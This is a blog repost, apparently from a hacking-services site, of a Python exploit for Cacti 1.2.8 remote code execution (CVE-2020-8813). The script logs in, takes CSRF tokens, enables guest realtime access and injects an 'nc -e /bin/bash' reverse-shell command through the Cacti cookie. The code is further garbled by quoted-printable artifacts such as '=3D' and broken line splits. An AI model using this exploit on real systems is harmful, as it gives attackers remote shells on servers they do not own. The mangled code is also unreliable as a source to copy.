Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863105204

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Cacti 1.2.8 - Remote Code Execution
# Date: 2020-02-03
# Exploit Author: Askar (@mohammadaskar2)
# CVE: CVE-2020-8813
# Vendor Homepage: https://cacti.net/
# Version: v1.2.8
# Tested on: CentOS 7.3 / PHP 7.1.33

#!/usr/bin/python3

import requests
import sys
import warnings
from bs4 import BeautifulSoup
from urllib.parse import quote

warnings.filterwarnings("ignore", category=3DUserWarning, module=3D'bs4')


if len(sys.argv) !=3D 6:
    print("[~] Usage : ./Cacti-exploit.py url username password ip port")
    exit()

url =3D sys.argv[1]
username =3D sys.argv[2]
password =3D sys.argv[3]
ip =3D sys.argv[4]
port =3D sys.argv[5]

def login(token):
    login_info =3D {
    "login_username": username,
    "login_password": password,
    "action": "login",
    "__csrf_magic": token
    }
    login_request =3D request.post(url+"/index.php", login_info)
    login_text =3D login_request.text
    if "Invalid User Name/Password Please Retype" in login_text:
        return False
    else:
        return True

def enable_guest(token):
    request_info =3D {
    "id": "3",
    "section25": "on",
    "section7": "on",
    "tab": "realms",
    "save_component_realm_perms": 1,
    "action": "save",
    "__csrf_magic": token
    }
    enable_request =3D request.post(url+"/user_admin.php?header=3Dfalse", r=
equest_info)
    if enable_request:
        return True
    else:
        return False

def send_exploit():
    payload =3D ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port)
    cookies =3D {'Cacti': quote(payload)}
    requests.get(url+"/graph_realtime.php?action=3Dinit", cookies=3Dcookies=
)

request =3D requests.session()
print("[+]Retrieving login CSRF token")
page =3D request.get(url+"/index.php")
html_content =3D page.text
soup =3D BeautifulSoup(html_content, "html5lib")
token =3D soup.findAll('input')[0].get("value")
if token:
    print("[+]Token Found : %s" % token)
    print("[+]Sending creds ..")
    login_status =3D login(token)
    if login_status:
        print("[+]Successfully LoggedIn")
        print("[+]Retrieving CSRF token ..")
        page =3D request.get(url+"/user_admin.php?action=3Duser_edit&id=3D3=
&tab=3Drealms")
        html_content =3D page.text
        soup =3D BeautifulSoup(html_content, "html5lib")
        token =3D soup.findAll('input')[1].get("value")
        if token:
            print("[+]Making some noise ..")
            guest_realtime =3D enable_guest(token)
            if guest_realtime:
                print("[+]Sending malicous request, check your nc ;)")
                send_exploit()
            else:
                print("[-]Error while activating the malicous account")

        else:
            print("[-] Unable to retrieve CSRF token from admin page!")
            exit()

    else:
        print("[-]Cannot Login!")
else:
    print("[-] Unable to retrieve CSRF token!")
    exit()